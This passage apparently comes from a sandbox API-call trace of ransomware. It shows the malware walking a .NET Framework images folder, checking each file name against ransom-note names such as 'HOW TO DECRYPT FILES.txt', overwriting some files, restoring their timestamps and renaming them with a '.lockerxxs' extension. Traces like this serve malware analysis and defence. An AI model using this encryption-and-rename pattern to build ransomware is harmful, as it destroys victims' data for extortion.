lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.199] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.200] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="gradient_onBlue.gif", cAlternateFileName="GRADIE~1.GIF")) returned 1 [0137.200] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.200] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gradient_onBlue.gif") returned -1 [0137.200] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gradient_onBlue.gif") returned 1 [0137.200] lstrcmpiA (lpString1="", lpString2="gradient_onBlue.gif") returned -1 [0137.200] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\folder.gif") returned="folder.gif" [0137.200] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.200] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.200] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="gradient_onWhite.gif", cAlternateFileName="GRADIE~2.GIF")) returned 1 [0137.200] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.200] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gradient_onWhite.gif") returned -1 [0137.200] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gradient_onWhite.gif") returned 1 [0137.200] lstrcmpiA (lpString1="", lpString2="gradient_onWhite.gif") returned -1 [0137.201] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\gradient_onBlue.gif") returned="gradient_onBlue.gif" [0137.201] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.201] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.201] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="headerGRADIENT_Tall.gif", cAlternateFileName="HEADER~1.GIF")) returned 1 [0137.201] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.201] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="headerGRADIENT_Tall.gif") returned -1 [0137.201] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="headerGRADIENT_Tall.gif") returned 1 [0137.201] lstrcmpiA (lpString1="", lpString2="headerGRADIENT_Tall.gif") returned -1 [0137.201] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\gradient_onWhite.gif") returned="gradient_onWhite.gif" [0137.201] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.201] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.201] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="help.jpg", cAlternateFileName="")) returned 1 [0137.202] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.202] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="help.jpg") returned -1 [0137.202] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="help.jpg") returned 1 [0137.202] lstrcmpiA (lpString1="", lpString2="help.jpg") returned -1 [0137.202] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\headerGRADIENT_Tall.gif") returned="headerGRADIENT_Tall.gif" [0137.202] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.202] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.205] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\help.jpg") returned="help.jpg" [0137.205] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.206] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x55b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x55b, lpOverlapped=0x0) returned 1 [0137.206] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.207] CloseHandle (hObject=0x94) returned 1 [0137.207] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\help.jpg" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\help.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\help.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\help.jpg.lockerxxs")) returned 1 [0137.207] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x58c, dwReserved0=0xd50001d4, dwReserved1=0x4e00c4, cFileName="HelpIcon_solid.gif", cAlternateFileName="HELPIC~1.GIF")) returned 1 [0137.207] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.207] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HelpIcon_solid.gif") returned -1 [0137.207] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HelpIcon_solid.gif") returned 1 [0137.208] lstrcmpiA (lpString1="", lpString2="HelpIcon_solid.gif") returned -1 [0137.208] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\help.jpg") returned="help.jpg" [0137.208] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.208] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.208] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed7e1e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="image1.gif", cAlternateFileName="")) returned 1 [0137.208] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.208] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="image1.gif") returned -1 [0137.208] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="image1.gif") returned -1 [0137.208] lstrcmpiA (lpString1="", lpString2="image1.gif") returned -1 [0137.208] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\HelpIcon_solid.gif") returned="HelpIcon_solid.gif" [0137.208] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.208] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.208] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed7e1e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="image2.gif", cAlternateFileName="")) returned 1 [0137.209] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="image2.gif") returned -1 [0137.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="image2.gif") returned -1 [0137.209] lstrcmpiA (lpString1="", lpString2="image2.gif") returned -1 [0137.209] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\image1.gif") returned="image1.gif" [0137.209] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.209] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.209] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x7c, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="requiredBang.gif", cAlternateFileName="REQUIR~1.GIF")) returned 1 [0137.209] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="requiredBang.gif") returned -1 [0137.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="requiredBang.gif") returned -1 [0137.209] lstrcmpiA (lpString1="", lpString2="requiredBang.gif") returned -1 [0137.209] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\image2.gif") returned="image2.gif" [0137.209] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.209] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.210] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="security_watermark.jpg", cAlternateFileName="SECURI~1.JPG")) returned 1 [0137.210] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.210] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="security_watermark.jpg") returned -1 [0137.210] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="security_watermark.jpg") returned -1 [0137.210] lstrcmpiA (lpString1="", lpString2="security_watermark.jpg") returned -1 [0137.210] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\requiredBang.gif") returned="requiredBang.gif" [0137.210] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.210] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.212] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg") returned="security_watermark.jpg" [0137.212] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.212] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb, lpOverlapped=0x0) returned 1 [0137.213] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.213] CloseHandle (hObject=0x94) returned 1 [0137.213] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\security_watermark.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\security_watermark.jpg.lockerxxs")) returned 1 [0137.214] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0xcc0001cd, dwReserved1=0x4e00c4, cFileName="selectedTab_1x1.gif", cAlternateFileName="SELECT~1.GIF")) returned 1 [0137.214] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.214] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="selectedTab_1x1.gif") returned -1 [0137.214] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="selectedTab_1x1.gif") returned -1 [0137.214] lstrcmpiA (lpString1="", lpString2="selectedTab_1x1.gif") returned -1 [0137.214] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg") returned="security_watermark.jpg" [0137.214] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.214] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.215] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="selectedTab_leftCorner.gif", cAlternateFileName="SELECT~2.GIF")) returned 1 [0137.215] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.215] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="selectedTab_leftCorner.gif") returned -1 [0137.215] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="selectedTab_leftCorner.gif") returned -1 [0137.215] lstrcmpiA (lpString1="", lpString2="selectedTab_leftCorner.gif") returned -1 [0137.215] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_1x1.gif") returned="selectedTab_1x1.gif" [0137.215] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.215] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.215] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="selectedTab_rightCorner.gif", cAlternateFileName="SELECT~3.GIF")) returned 1 [0137.215] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.215] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="selectedTab_rightCorner.gif") returned -1 [0137.215] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="selectedTab_rightCorner.gif") returned -1 [0137.215] lstrcmpiA (lpString1="", lpString2="selectedTab_rightCorner.gif") returned -1 [0137.215] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_leftCorner.gif") returned="selectedTab_leftCorner.gif" [0137.215] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.215] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.216] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f1f4b20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x21eb, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="topGradRepeat.jpg", cAlternateFileName="TOPGRA~1.JPG")) returned 1 [0137.216] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.216] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="topGradRepeat.jpg") returned -1 [0137.216] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="topGradRepeat.jpg") returned -1 [0137.216] lstrcmpiA (lpString1="", lpString2="topGradRepeat.jpg") returned -1 [0137.216] PathFindFileNameA 